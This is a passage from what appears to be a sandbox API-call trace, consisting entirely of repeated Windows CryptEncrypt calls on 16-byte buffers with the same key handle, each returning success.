(in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.734] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.734] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.734] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.734] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.734] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.734] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.734] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.734] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.734] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.734] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.735] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.735] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.735] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.735] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.735] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.735] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.735] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.735] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.735] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.735] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.735] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.735] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.735] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.735] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.735] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.735] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.735] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.735] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.735] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.735] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.736] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.736] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.736] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.736] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.736] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.736] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.736] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.736] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.736] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.736] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.736] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.736] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.736] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.736] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.736] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.736] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.736] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.736] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.736] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.737] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.737] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.737] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.737] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.737] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.737] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.737] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.737] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.737] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.737] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.737] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.737] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.737] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.737] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.737] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.737] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.737] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.737] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.737] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.738] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.738] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.738] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.738] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.738] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.738] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.738] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.738] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.738] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.738] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.738] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.738] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.738] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.738] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.738] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.738] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.738] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.738] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.738] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.739] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.739] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.739] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.739] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.739] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.739] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.739] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.739] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.739] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.739] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.739] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.739] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.739] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.739] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.739] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.739] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.739] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 